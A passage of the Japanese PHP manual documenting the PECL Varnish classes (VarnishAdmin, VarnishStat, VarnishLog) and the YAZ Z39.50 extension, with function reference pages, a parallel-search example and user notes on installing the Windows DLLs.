        VARNISH_CONFIG_SECRET => "5174826b-8595-4958-aa7a-0609632ad7ca",
        VARNISH_CONFIG_TIMEOUT => 300,
    );
    $va = new VarnishAdmin($args);
?>

User Contributed Notes

There are no user contributed notes for this page.


varnish インスタンスの管理インターフェイスとの接続を切断する

  • ≪ VarnishAdmin::__construct
  • VarnishAdmin::getPanic ≫
  • PHP Manual
  • VarnishAdmin
  • varnish インスタンスの管理インターフェイスとの接続を切断する

VarnishAdmin::disconnect

(PECL varnish >= 1.0.0)

VarnishAdmin::disconnect — varnish インスタンスの管理インターフェイスとの接続を切断する

説明

public VarnishAdmin::disconnect ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


varnish インスタンスの直近のパニックメッセージを取得する

  • ≪ VarnishAdmin::disconnect
  • VarnishAdmin::getParams ≫
  • PHP Manual
  • VarnishAdmin
  • varnish インスタンスの直近のパニックメッセージを取得する

VarnishAdmin::getPanic

(PECL varnish >= 0.4)

VarnishAdmin::getPanic — varnish インスタンスの直近のパニックメッセージを取得する

説明

public VarnishAdmin::getPanic ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

現在の varnish インスタンスの直近のパニックメッセージを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の varnish インスタンスの設定パラメータを取得する

  • ≪ VarnishAdmin::getPanic
  • VarnishAdmin::isRunning ≫
  • PHP Manual
  • VarnishAdmin
  • 現在の varnish インスタンスの設定パラメータを取得する

VarnishAdmin::getParams

(PECL varnish >= 0.4)

VarnishAdmin::getParams — 現在の varnish インスタンスの設定パラメータを取得する

説明

public VarnishAdmin::getParams ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

varnish 設定パラメータの配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


varnish のスレーブプロセスが現在実行中かどうかを調べる

  • ≪ VarnishAdmin::getParams
  • VarnishAdmin::setCompat ≫
  • PHP Manual
  • VarnishAdmin
  • varnish のスレーブプロセスが現在実行中かどうかを調べる

VarnishAdmin::isRunning

(PECL varnish >= 0.3)

VarnishAdmin::isRunning — varnish のスレーブプロセスが現在実行中かどうかを調べる

説明

public VarnishAdmin::isRunning ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


クラスのオプション compat を設定する

  • ≪ VarnishAdmin::isRunning
  • VarnishAdmin::setHost ≫
  • PHP Manual
  • VarnishAdmin
  • クラスのオプション compat を設定する

VarnishAdmin::setCompat

(PECL varnish >= 0.9.2)

VarnishAdmin::setCompat — クラスのオプション compat を設定する

説明

public VarnishAdmin::setCompat ( int $compat ) : void

パラメータ

compat

Varnish の compat オプション。

返り値

User Contributed Notes

There are no user contributed notes for this page.


クラスのオプション host を設定する

  • ≪ VarnishAdmin::setCompat
  • VarnishAdmin::setIdent ≫
  • PHP Manual
  • VarnishAdmin
  • クラスのオプション host を設定する

VarnishAdmin::setHost

(PECL varnish >= 0.8)

VarnishAdmin::setHost — クラスのオプション host を設定する

説明

public VarnishAdmin::setHost ( string $host ) : void

パラメータ

host

接続の host パラメータ。

返り値

User Contributed Notes

There are no user contributed notes for this page.


クラスのオプション ident を設定する

  • ≪ VarnishAdmin::setHost
  • VarnishAdmin::setParam ≫
  • PHP Manual
  • VarnishAdmin
  • クラスのオプション ident を設定する

VarnishAdmin::setIdent

(PECL varnish >= 0.8)

VarnishAdmin::setIdent — クラスのオプション ident を設定する

説明

public VarnishAdmin::setIdent ( string $ident ) : void

パラメータ

ident

接続の ident パラメータ。

返り値

User Contributed Notes

There are no user contributed notes for this page.


現在の varnish インスタンスの構成パラメータを設定する

  • ≪ VarnishAdmin::setIdent
  • VarnishAdmin::setPort ≫
  • PHP Manual
  • VarnishAdmin
  • 現在の varnish インスタンスの構成パラメータを設定する

VarnishAdmin::setParam

(PECL varnish >= 0.4)

VarnishAdmin::setParam — 現在の varnish インスタンスの構成パラメータを設定する

説明

public VarnishAdmin::setParam ( string $name , string|int $value ) : int

パラメータ

name

Varnish のパラメータ名。

value

Varnish のパラメータの値。

返り値

varnish のコマンドステータスを返します。

User Contributed Notes

There are no user contributed notes for this page.


クラスのオプション port を設定する

  • ≪ VarnishAdmin::setParam
  • VarnishAdmin::setSecret ≫
  • PHP Manual
  • VarnishAdmin
  • クラスのオプション port を設定する

VarnishAdmin::setPort

(PECL varnish >= 0.8)

VarnishAdmin::setPort — クラスのオプション port を設定する

説明

public VarnishAdmin::setPort ( int $port ) : void

パラメータ

port

接続の port パラメータ。

返り値

User Contributed Notes

There are no user contributed notes for this page.


クラスのオプション secret を設定する

  • ≪ VarnishAdmin::setPort
  • VarnishAdmin::setTimeout ≫
  • PHP Manual
  • VarnishAdmin
  • クラスのオプション secret を設定する

VarnishAdmin::setSecret

(PECL varnish >= 0.8)

VarnishAdmin::setSecret — クラスのオプション secret を設定する

説明

public VarnishAdmin::setSecret ( string $secret ) : void

パラメータ

secret

接続の secret パラメータ。

返り値

User Contributed Notes

There are no user contributed notes for this page.


クラスのオプション timeout を設定する

  • ≪ VarnishAdmin::setSecret
  • VarnishAdmin::start ≫
  • PHP Manual
  • VarnishAdmin
  • クラスのオプション timeout を設定する

VarnishAdmin::setTimeout

(PECL varnish >= 0.8)

VarnishAdmin::setTimeout — クラスのオプション timeout を設定する

説明

public VarnishAdmin::setTimeout ( int $timeout ) : void

パラメータ

timeout

接続の timeout パラメータ。

返り値

User Contributed Notes

There are no user contributed notes for this page.


varnish ワーカープロセスを開始する

  • ≪ VarnishAdmin::setTimeout
  • VarnishAdmin::stop ≫
  • PHP Manual
  • VarnishAdmin
  • varnish ワーカープロセスを開始する

VarnishAdmin::start

(PECL varnish >= 0.3)

VarnishAdmin::start — varnish ワーカープロセスを開始する

説明

public VarnishAdmin::start ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

varnish のコマンドステータスを返します。

User Contributed Notes

There are no user contributed notes for this page.


varnish ワーカープロセスを停止する

  • ≪ VarnishAdmin::start
  • VarnishStat ≫
  • PHP Manual
  • VarnishAdmin
  • varnish ワーカープロセスを停止する

VarnishAdmin::stop

(PECL varnish >= 0.3)

VarnishAdmin::stop — varnish ワーカープロセスを停止する

説明

public VarnishAdmin::stop ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

varnish のコマンドステータスを返します。

User Contributed Notes

There are no user contributed notes for this page.


VarnishStat クラス

(PECL varnish >= 0.3)

はじめに

クラス概要

VarnishStat {
/* メソッド */
public __construct ( array $args = ? )
public getSnapshot ( ) : array
}

目次

  • VarnishStat::__construct — VarnishStat のコンストラクタ
  • VarnishStat::getSnapshot — 現在の varnish インスタンスの統計スナップショットを取得する

User Contributed Notes

There are no user contributed notes for this page.


VarnishStat のコンストラクタ

  • ≪ VarnishStat
  • VarnishStat::getSnapshot ≫
  • PHP Manual
  • VarnishStat
  • VarnishStat のコンストラクタ

VarnishStat::__construct

(PECL varnish >= 0.3)

VarnishStat::__construct — VarnishStat のコンストラクタ

説明

public VarnishStat::__construct ( array $args = ? )

パラメータ

args

設定用の引数。次のキーが使えます。

VARNISH_CONFIG_IDENT - ローカル varnish インスタンスの ident パス。

返り値

User Contributed Notes

There are no user contributed notes for this page.


現在の varnish インスタンスの統計スナップショットを取得する

  • ≪ VarnishStat::__construct
  • VarnishLog ≫
  • PHP Manual
  • VarnishStat
  • 現在の varnish インスタンスの統計スナップショットを取得する

VarnishStat::getSnapshot

(PECL varnish >= 0.3)

VarnishStat::getSnapshot — 現在の varnish インスタンスの統計スナップショットを取得する

説明

public VarnishStat::getSnapshot ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

varnish 統計のスナップショットを配列で返します。 配列のキーは varnishstat ツールと同じです。

User Contributed Notes

There are no user contributed notes for this page.


VarnishLog クラス

(PECL varnish >= 0.6)

はじめに

クラス概要

VarnishLog {
/* 定数 */
const int TAG_Debug = 0 ;
const int TAG_Error = 1 ;
const int TAG_CLI = 2 ;
const int TAG_StatSess = 3 ;
const int TAG_ReqEnd = 4 ;
const int TAG_SessionOpen = 5 ;
const int TAG_SessionClose = 6 ;
const int TAG_BackendOpen = 7 ;
const int TAG_BackendXID = 8 ;
const int TAG_BackendReuse = 9 ;
const int TAG_BackendClose = 10 ;
const int TAG_HttpGarbage = 11 ;
const int TAG_Backend = 12 ;
const int TAG_Length = 13 ;
const int TAG_FetchError = 14 ;
const int TAG_RxRequest = 15 ;
const int TAG_RxResponse = 16 ;
const int TAG_RxStatus = 17 ;
const int TAG_RxURL = 18 ;
const int TAG_RxProtocol = 19 ;
const int TAG_RxHeader = 20 ;
const int TAG_TxRequest = 21 ;
const int TAG_TxResponse = 22 ;
const int TAG_TxStatus = 23 ;
const int TAG_TxURL = 24 ;
const int TAG_TxProtocol = 25 ;
const int TAG_TxHeader = 26 ;
const int TAG_ObjRequest = 27 ;
const int TAG_ObjResponse = 28 ;
const int TAG_ObjStatus = 29 ;
const int TAG_ObjURL = 30 ;
const int TAG_ObjProtocol = 31 ;
const int TAG_ObjHeader = 32 ;
const int TAG_LostHeader = 33 ;
const int TAG_TTL = 34 ;
const int TAG_Fetch_Body = 35 ;
const int TAG_VCL_acl = 36 ;
const int TAG_VCL_call = 37 ;
const int TAG_VCL_trace = 38 ;
const int TAG_VCL_return = 39 ;
const int TAG_VCL_error = 40 ;
const int TAG_ReqStart = 41 ;
const int TAG_Hit = 42 ;
const int TAG_HitPass = 43 ;
const int TAG_ExpBan = 44 ;
const int TAG_ExpKill = 45 ;
const int TAG_WorkThread = 46 ;
const int TAG_ESI_xmlerror = 47 ;
const int TAG_Hash = 48 ;
const int TAG_Backend_health = 49 ;
const int TAG_VCL_Log = 50 ;
const int TAG_Gzip = 51 ;
/* メソッド */
public __construct ( array $args = ? )
public getLine ( ) : array
public static getTagName ( int $index ) : string
}

定義済み定数

VarnishLog::TAG_Debug

VarnishLog::TAG_Error

VarnishLog::TAG_CLI

VarnishLog::TAG_StatSess

VarnishLog::TAG_ReqEnd

VarnishLog::TAG_SessionOpen

VarnishLog::TAG_SessionClose

VarnishLog::TAG_BackendOpen

VarnishLog::TAG_BackendXID

VarnishLog::TAG_BackendReuse

VarnishLog::TAG_BackendClose

VarnishLog::TAG_HttpGarbage

VarnishLog::TAG_Backend

VarnishLog::TAG_Length

VarnishLog::TAG_FetchError

VarnishLog::TAG_RxRequest

VarnishLog::TAG_RxResponse

VarnishLog::TAG_RxStatus

VarnishLog::TAG_RxURL

VarnishLog::TAG_RxProtocol

VarnishLog::TAG_RxHeader

VarnishLog::TAG_TxRequest

VarnishLog::TAG_TxResponse

VarnishLog::TAG_TxStatus

VarnishLog::TAG_TxURL

VarnishLog::TAG_TxProtocol

VarnishLog::TAG_TxHeader

VarnishLog::TAG_ObjRequest

VarnishLog::TAG_ObjResponse

VarnishLog::TAG_ObjStatus

VarnishLog::TAG_ObjURL

VarnishLog::TAG_ObjProtocol

VarnishLog::TAG_ObjHeader

VarnishLog::TAG_LostHeader

VarnishLog::TAG_TTL

VarnishLog::TAG_Fetch_Body

VarnishLog::TAG_VCL_acl

VarnishLog::TAG_VCL_call

VarnishLog::TAG_VCL_trace

VarnishLog::TAG_VCL_return

VarnishLog::TAG_VCL_error

VarnishLog::TAG_ReqStart

VarnishLog::TAG_Hit

VarnishLog::TAG_HitPass

VarnishLog::TAG_ExpBan

VarnishLog::TAG_ExpKill

VarnishLog::TAG_WorkThread

VarnishLog::TAG_ESI_xmlerror

VarnishLog::TAG_Hash

VarnishLog::TAG_Backend_health

VarnishLog::TAG_VCL_Log

VarnishLog::TAG_Gzip

目次

  • VarnishLog::__construct — Varnishlog のコンストラクタ
  • VarnishLog::getLine — ログの次の行を取得する
  • VarnishLog::getTagName — ログのタグ文字列を、インデックスから取得する

User Contributed Notes

There are no user contributed notes for this page.


Varnishlog のコンストラクタ

  • ≪ VarnishLog
  • VarnishLog::getLine ≫
  • PHP Manual
  • VarnishLog
  • Varnishlog のコンストラクタ

VarnishLog::__construct

(PECL varnish >= 0.6)

VarnishLog::__construct — Varnishlog のコンストラクタ

説明

public VarnishLog::__construct ( array $args = ? )

パラメータ

args

設定用の引数。次のキーが使えます。

VARNISH_CONFIG_IDENT - ローカル varnish インスタンスの ident パス。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ログの次の行を取得する

  • ≪ VarnishLog::__construct
  • VarnishLog::getTagName ≫
  • PHP Manual
  • VarnishLog
  • ログの次の行を取得する

VarnishLog::getLine

(PECL varnish >= 0.6)

VarnishLog::getLine — ログの次の行を取得する

説明

public VarnishLog::getLine ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

ログの行のデータを配列で返します。

User Contributed Notes

There are no user contributed notes for this page.


ログのタグ文字列を、インデックスから取得する

  • ≪ VarnishLog::getLine
  • YAZ ≫
  • PHP Manual
  • VarnishLog
  • ログのタグ文字列を、インデックスから取得する

VarnishLog::getTagName

(PECL varnish >= 0.6)

VarnishLog::getTagName — ログのタグ文字列を、インデックスから取得する

説明

public static VarnishLog::getTagName ( int $index ) : string

パラメータ

index

ログのタグのインデックス。

返り値

ログのタグ名を文字列で返します。

User Contributed Notes

There are no user contributed notes for this page.


YAZ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • YAZ 関数
    • yaz_addinfo — 詳細なエラー情報を返す
    • yaz_ccl_conf — CCL パーサを設定する
    • yaz_ccl_parse — CCL パーサを起動する
    • yaz_close — YAZ 接続をクローズする
    • yaz_connect — Z39.50 サーバーへの接続を準備する
    • yaz_database — セッション内のデータベースを指定する
    • yaz_element — 取得時の要素集合の名前を指定する
    • yaz_errno — エラー番号を返す
    • yaz_error — エラーの内容を返す
    • yaz_es_result — 拡張サービスの結果を調査する
    • yaz_es — 拡張サービスのリクエストを準備する
    • yaz_get_option — 接続に関するオプションの値を返す
    • yaz_hits — 直近の検索に関するヒット数を返す
    • yaz_itemorder — ILL リクエストパッケージを関して Z39.50 Item Order を準備する
    • yaz_present — (Z39.50による)取得の準備を行う
    • yaz_range — 取得するレコードの範囲を指定する
    • yaz_record — レコードを返す
    • yaz_scan_result — スキャンリクエストの結果を返す
    • yaz_scan — スキャンの準備をする
    • yaz_schema — 取得するスキーマを指定する
    • yaz_search — 検索を準備する
    • yaz_set_option — 接続に関するひとつあるいは複数のオプションを設定する
    • yaz_sort — ソート条件を設定する
    • yaz_syntax — 取得用に適当なレコード構文を指定する
    • yaz_wait — Z39.50 リクエストが完了するまで待つ

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、» 情報取得用の Z39.50 プロトコル を実装する YAZ ツールキットへの PHP インターフェイスを 提供するものです。この拡張モジュールにより、Z39.50 ターゲット（サーバー） を並列に検索またはスキャンする Z39.50 オリジン（クライアント）を 容易に実装することが可能になります。

このモジュールは Z39.50 の複雑さを隠蔽するため、使用法がかなり容易になります。 PHP で利用可能な様々な RDB の API により提供されているものに非常によく似た、 ステートレスな持続的接続がサポートされています。 これは、セッションはステートレスですが、ユーザー間で共有されるということを意味します。 これにより多くの場合に接続および初期化手順が保存されます。

YAZ は、» http://www.indexdata.dk/yaz/ で取得可能です。 この拡張モジュールに関する新しい情報、スクリプトの例等を » http://www.indexdata.dk/phpyaz/ にて参照可能です。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.


要件

YAZ (ANSI/NISO Z39.50 サポート) をインストールします。 YAZ のソースやさまざまなビルド済みパッケージは » YAZ archive から取得できます。 Debian GNU/Linux や Suse Linux、FreeBSD といったシステムには、 ディストリビューションの一部として YAZ が含まれています。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/yaz

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

注意: Windows ユーザーへの情報

php_yaz.dll は yaz.dll に依存しています。yaz.dll は、PHP のサイトから取得できる Win32 版の ZIP に含まれています。 また、 » YAZ WIN32 area にある Windows 版の YAZ の中にも含まれています。

Windows では、PHP のディレクトリを PATH に追加することを忘れないようにしましょう。 そうすれば、yaz.dll がシステムから見つけられるようになります。

警告

IMAP、recode、 YAZ 拡張モジュールは、組み合わせて使用することはできません。 これは、これらすべてが同一の内部シンボルを使用しているためです。 注意: Yaz 2.0 以降ではこの問題は発生しません。

User Contributed Notes

There are no user contributed notes for this page.


例

PHP/YAZ はターゲット(Z-Associations)との接続を保持し続けます。 正の整数で特定の接続のIDを表します。

以下のスクリプトは、API の並列検索機能のデモです。引数を指定せずにコールした場合、 この関数はクエリフォームを出力します。そうでない場合 （引数を指定した場合）は、配列 host にあるターゲットを検索します。

例1 YAZ による並列検索

<?php
$host=$_REQUEST[host];
$query=$_REQUEST[query];
$num_hosts = count($host);
if (empty($query) || count($host) == 0) {
    echo '<form method="get">
    <input type="checkbox"
    name="host[]" value="bagel.indexdata.dk/gils" />
        GILS test
    <input type="checkbox"
    name="host[]" value="localhost:9999/Default" />
        local test
    <input type="checkbox" checked="checked"
    name="host[]" value="z3950.loc.gov:7090/voyager" />
        Library of Congress
    <br />
    RPN Query:
    <input type="text" size="30" name="query" />
    <input type="submit" name="action" value="Search" />
    </form>
    ';
} else {
    echo 'You searched for ' . htmlspecialchars($query) . '<br />';
    for ($i = 0; $i < $num_hosts; $i++) {
        $id[] = yaz_connect($host[$i]);
        yaz_syntax($id[$i], "usmarc");
        yaz_range($id[$i], 1, 10);
        yaz_search($id[$i], "rpn", $query);
    }
    yaz_wait();
    for ($i = 0; $i < $num_hosts; $i++) {
        echo '<hr />' . $host[$i] . ':';
        $error = yaz_error($id[$i]);
        if (!empty($error)) {
            echo "Error: $error";
        } else {
            $hits = yaz_hits($id[$i]);
            echo "Result Count $hits";
        }
        echo '<dl>';
        for ($p = 1; $p <= 10; $p++) {
            $rec = yaz_record($id[$i], $p, "string");
            if (empty($rec)) continue;
            echo "<dt><b>$p</b></dt><dd>";
            echo nl2br($rec);
            echo "</dd>";
        }
        echo '</dl>';
    }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


YAZ 関数

目次

  • yaz_addinfo — 詳細なエラー情報を返す
  • yaz_ccl_conf — CCL パーサを設定する
  • yaz_ccl_parse — CCL パーサを起動する
  • yaz_close — YAZ 接続をクローズする
  • yaz_connect — Z39.50 サーバーへの接続を準備する
  • yaz_database — セッション内のデータベースを指定する
  • yaz_element — 取得時の要素集合の名前を指定する
  • yaz_errno — エラー番号を返す
  • yaz_error — エラーの内容を返す
  • yaz_es_result — 拡張サービスの結果を調査する
  • yaz_es — 拡張サービスのリクエストを準備する
  • yaz_get_option — 接続に関するオプションの値を返す
  • yaz_hits — 直近の検索に関するヒット数を返す
  • yaz_itemorder — ILL リクエストパッケージを関して Z39.50 Item Order を準備する
  • yaz_present — (Z39.50による)取得の準備を行う
  • yaz_range — 取得するレコードの範囲を指定する
  • yaz_record — レコードを返す
  • yaz_scan_result — スキャンリクエストの結果を返す
  • yaz_scan — スキャンの準備をする
  • yaz_schema — 取得するスキーマを指定する
  • yaz_search — 検索を準備する
  • yaz_set_option — 接続に関するひとつあるいは複数のオプションを設定する
  • yaz_sort — ソート条件を設定する
  • yaz_syntax — 取得用に適当なレコード構文を指定する
  • yaz_wait — Z39.50 リクエストが完了するまで待つ

User Contributed Notes

adam at indexdata dot dk 17-Apr-2018 08:17
When using Apache, you must also place libxslt.dll and yaz5.dll in \xampp\apache\bin . (No need need to copy libxml2 because it is already there).
francisco.vazquez@ubik 17-Jan-2018 06:17
Updated steps to install this extension on windows 7 (january 2018)

1)Go to: http://ftp.indexdata.dk/pub/phpyaz/windows/ and search trough the folders until you find the one that matches your php installation.

2)Download all four files:    libxml2.dll, libxslt.dll, php_yaz.dll, yaz5.dll

3)Place the following files inside your php folder (\xampp\php): libxml2.dll, libxslt.dll, yaz5.dll

4)Place php_yaz.dll inside your php extensions folder (xampp\php\ext)

5)Add the following line to php.ini (you can find out where is php.ini located calling phpinfo): extension=php_yaz.dll
(look for the place where all the other extension are declarated and place it at the bottom as the las one installed)

6)Restart your server

That should work. You can check if it is installed by calling phpinfo and checking if yaz extension appears as a section.

Cheers!
23-Oct-2005 03:00
Straightforward Steps to get PHP Yaz to work on win32:

Download latest verion of php_yaz.dll and copy to your PHP extensions directory
http://ftp.indexdata.dk/pub/phpyaz/

Download latest version of YAZ toolkit and install it
http://www.indexdata.dk/yaz/

Go to the YAZ toolkit directory
(Most likely C:\Program Files\YAZ\bin)

Copy the 4 DLL files in that folder into your win32 directory

Uncomment the "extention=php_yaz.dll;" line in php.ini

Restart your web server.

Uninstall the YAZ toolkit if you wish.
cstdenis at hotmail dot com 15-Jul-2004 06:17
For those wondering what it is:

"This standard defines a client/server based service and protocol for
Information Retrieval. It specifies procedures and formats for a client to search a
database provided by a server, retrieve database records, and perform related
information retrieval functions. The protocol addresses communication between
information retrieval applications at the client and server; it does not address interaction
between the client and the end-user."


詳細なエラー情報を返す

  • ≪ YAZ 関数
  • yaz_ccl_conf ≫
  • PHP Manual
  • YAZ 関数
  • 詳細なエラー情報を返す

yaz_addinfo

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_addinfo — 詳細なエラー情報を返す

説明

yaz_addinfo ( resource $id ) : string

サーバー上での直近のリクエストに関する詳細なエラーメッセージを返します。

サーバーによっては、この関数は yaz_error() と同じ 文字列を返すことがあります。

パラメータ

id

yaz_connect() が返す接続リソース。

返り値

エラーの詳細情報を文字列で返します。直近の処理が成功したか、あるいは サーバーから詳細な情報が提供されていない場合には、空の文字列を返します。

参考

  • yaz_error() - エラーの内容を返す
  • yaz_errno() - エラー番号を返す

User Contributed Notes

There are no user contributed notes for this page.


CCL パーサを設定する

  • ≪ yaz_addinfo
  • yaz_ccl_parse ≫
  • PHP Manual
  • YAZ 関数
  • CCL パーサを設定する

yaz_ccl_conf

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_conf — CCL パーサを設定する

説明

yaz_ccl_conf ( resource $id , array $config ) : void

この関数は、アクセスポイント(CCL限定辞)が定義するサーバーに関して CCL クエリパーサと RPN へのマッピングを設定します。

特定の CCL クエリを後で RPN にマップするには、 yaz_ccl_parse() 関数をコールしてください。

パラメータ

id

yaz_connect() が返す接続リソース。

config

設定の配列。配列の各キーが CCL フィールドの名前で、対応する値は RPN へのマッピングを指定する文字列です。

マッピングは、属性型と属性値の組が並んだものです。 属性型と属性値は、等号（=）で区切られ、 組と組の間は空白で区切られます。

詳細な情報は » CCL のページを 参照ください。

返り値

値を返しません。

例

以下の例では、CCL パーサは ti、 au、isbn という 3 つの CCL フィールドをサポートするように設定されます。各フィールドは、等価な BIB-1 へマップされます。 この例では、$id が接続 ID であることを仮定しています。

例1 CCL 設定

<?php
$fields = array(
  "ti" => "1=4",
  "au"   => "1=1",
  "isbn" => "1=7"
);
yaz_ccl_conf($id, $fields);
?>

参考

  • yaz_ccl_parse() - CCL パーサを起動する

User Contributed Notes

quinn at indexdata dot com 05-Mar-2005 07:09
The YAZ CCL parser has extensive functionality beyond what is described here. For the full story, as well as a detailed description of the CCL language, please look at

http://www.indexdata.dk/yaz/doc/tools.tkl#CCL

The flexibility of the parser makes it easy, by setting up separate profiles for servers with different characteristics, to produce a client that performs different query mappings for different servers. Also, because you can configure operators, truncation characters, etc., in the CCL parser, it is simple to make it fit into almost any application.


CCL パーサを起動する

  • ≪ yaz_ccl_conf
  • yaz_close ≫
  • PHP Manual
  • YAZ 関数
  • CCL パーサを起動する

yaz_ccl_parse

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_parse — CCL パーサを起動する

説明

yaz_ccl_parse ( resource $id , string $query , array &$result ) : bool

この関数は、CCL パーサを起動します。パーサは、指定された CCL FIND クエリを RPN クエリに変換します。これは検索を実行する yaz_search() 関数に渡すためのものです。

有効な CCL フィールドの組を定義するには、この関数の前に yaz_ccl_conf() をコールします。

パラメータ

id

yaz_connect() が返す接続リソース。

query

CCL FIND クエリ。

result

関数が成功した場合、キー rpn に有効な RPN クエリを含む配列となります。

失敗した場合は、以下の 3 つの添え字を含む配列となり、失敗の原因を示します。

  • errorcode - CCL エラーコード（整数）

  • errorstring - CCL エラー文字列

  • errorpos - クエリが失敗したおおよその位置 （文字の位置を整数で表す）

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 CCL のパース

CCL を利用して検索します。以下の例で、$ccl は CCL クエリです。

<?php

yaz_ccl_conf($id, $fields);  // yaz_ccl_conf のサンプルを参照ください
if (!yaz_ccl_parse($id, $ccl, &$cclresult)) {
    echo 'Error: ' . $cclresult["errorstring"];
} else {
    $rpn = $cclresult["rpn"];
    yaz_search($id, "rpn", $rpn);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


YAZ 接続をクローズする

  • ≪ yaz_ccl_parse
  • yaz_connect ≫
  • PHP Manual
  • YAZ 関数
  • YAZ 接続をクローズする

yaz_close

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_close — YAZ 接続をクローズする

説明

yaz_close ( resource $id ) : bool

id で指定した接続をクローズします。

注意:

この関数は、persistent オプションを false にして yaz_connect() でオープンした 持続的でない接続のみをクローズします。

パラメータ

id

yaz_connect() が返す接続リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • yaz_connect() - Z39.50 サーバーへの接続を準備する

User Contributed Notes

There are no user contributed notes for this page.


Z39.50 サーバーへの接続を準備する

  • ≪ yaz_close
  • yaz_database ≫
  • PHP Manual
  • YAZ 関数
  • Z39.50 サーバーへの接続を準備する

yaz_connect

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_connect — Z39.50 サーバーへの接続を準備する

説明

yaz_connect ( string $zurl , mixed $options = ? ) : mixed

この関数は、成功した場合に接続リソース、失敗した場合にゼロを返します。

yaz_connect() は Z39.50 サーバーへの接続を準備します。 この関数は非ブロックモードで動作し、接続を確立しようとしません - 単にあとで yaz_wait() がコールされた際に 接続を実行する準備を行うだけです。

注意:

» YAZ プロキシ は、フリーで使用可能な Z39.50 のプロキシです。

パラメータ

zurl

host[:port][/database] という形式の文字列です。 port が省略された場合、210 が使用されます。database が省略された 場合、Default が使用されます。

options

文字列が指定された場合、 Z39.50 V2 認証文字列(OpenAuth)として処理されます。

配列が指定された場合、その配列の内容はオプションとして処理されます。

user

認証用のユーザー名

group

認証用のグループ

password

認証用のパスワード

cookie

セッションクッキー（YAZ プロキシ）

proxy

接続用プロキシ（YAZ プロキシ）

persistent

論理値。true の場合、接続は持続的となります。false の 場合、接続は持続的ではありません。デフォルトでは 接続は持続的です。

注意:

持続的な接続をオープンした場合、後でそれを yaz_close() によってクローズすることは できません。

piggyback

論理値。true の場合、検索時の piggyback が有効になります。 false の場合、piggyback が無効になります。デフォルトでは piggyback は有効です。

piggyback を有効にするとより効率的となり、 通常、レコードを最初に取得する際のネットワーク往復時間を 節約することが可能です。しかし、少数の Z39.50 ターゲットは piggyback をサポートしていないか、エレメント集合名を無視します。 この場合、piggyback を無効とする必要があります。

charset

Z39.50 の言語および文字セットネゴシエーションに使用する 文字セットを指定する文字列。以下のような文字列を使用します。 ISO-8859-1、UTF-8、 UTF-16 。

ほとんどの Z39.50 サーバーはこの機能をサポートしません（そのため、 無視されます）。ほとんどのサーバーは、クエリやメッセージに ISO-8859-1 エンコーディングを使用します。MARC21/USMARC レコードは この設定の影響を受けません。

preferredMessageSize

ターゲットから取得される全レコードの最大バイト数を指定する整数値。 詳細な情報は » Z39.50 standard を参照ください。

注意:

このオプションは PECL YAZ 1.0.5 以降でサポートされます。

maximumRecordSize

ターゲットから取得される単一のレコードの最大バイト数を指定する 整数値。この項目は、 » Z39.50 standard の Exceptional-record-size として参照されます。

注意:

このオプションは PECL YAZ 1.0.5 以降でサポートされます。

返り値

成功した場合に接続リソース、エラー時に false を返します。

変更履歴

バージョン | 説明
4.1.0 | options が追加されました。

参考

  • yaz_close() - YAZ 接続をクローズする

User Contributed Notes

There are no user contributed notes for this page.


セッション内のデータベースを指定する

  • ≪ yaz_connect
  • yaz_element ≫
  • PHP Manual
  • YAZ 関数
  • セッション内のデータベースを指定する

yaz_database

(PHP 4 >= 4.0.6, PECL yaz >= 0.9.0)

yaz_database — セッション内のデータベースを指定する

説明

yaz_database ( resource $id , string $databases ) : bool

この関数は、検索、取得等で使用する１つまたは複数のデータベースを指定します。 yaz_connect() をコールする際に指定したデータベースを上書きします。

パラメータ

id

yaz_connect() が返す接続リソース。

databases

ひとつあるいは複数のデータベースを表す文字列。複数のデータベースは、可算記号 + で区切ります。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


取得時の要素集合の名前を指定する

  • ≪ yaz_database
  • yaz_errno ≫
  • PHP Manual
  • YAZ 関数
  • 取得時の要素集合の名前を指定する

yaz_element

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_element — 取得時の要素集合の名前を指定する

説明

yaz_element ( resource $id , string $elementset ) : bool

この関数は、取得時の要素集合の名前を指定します。

この関数は、yaz_search() あるいは yaz_present() をコールする前に、 取得するレコードの要素集合の名前を指定するために使用します。

注意:

この関数が動作していないように見える場合は、 yaz_connect() の piggybacking オプションについての説明を 参照ください。

パラメータ

id

yaz_connect() が返す接続リソース。

elementset

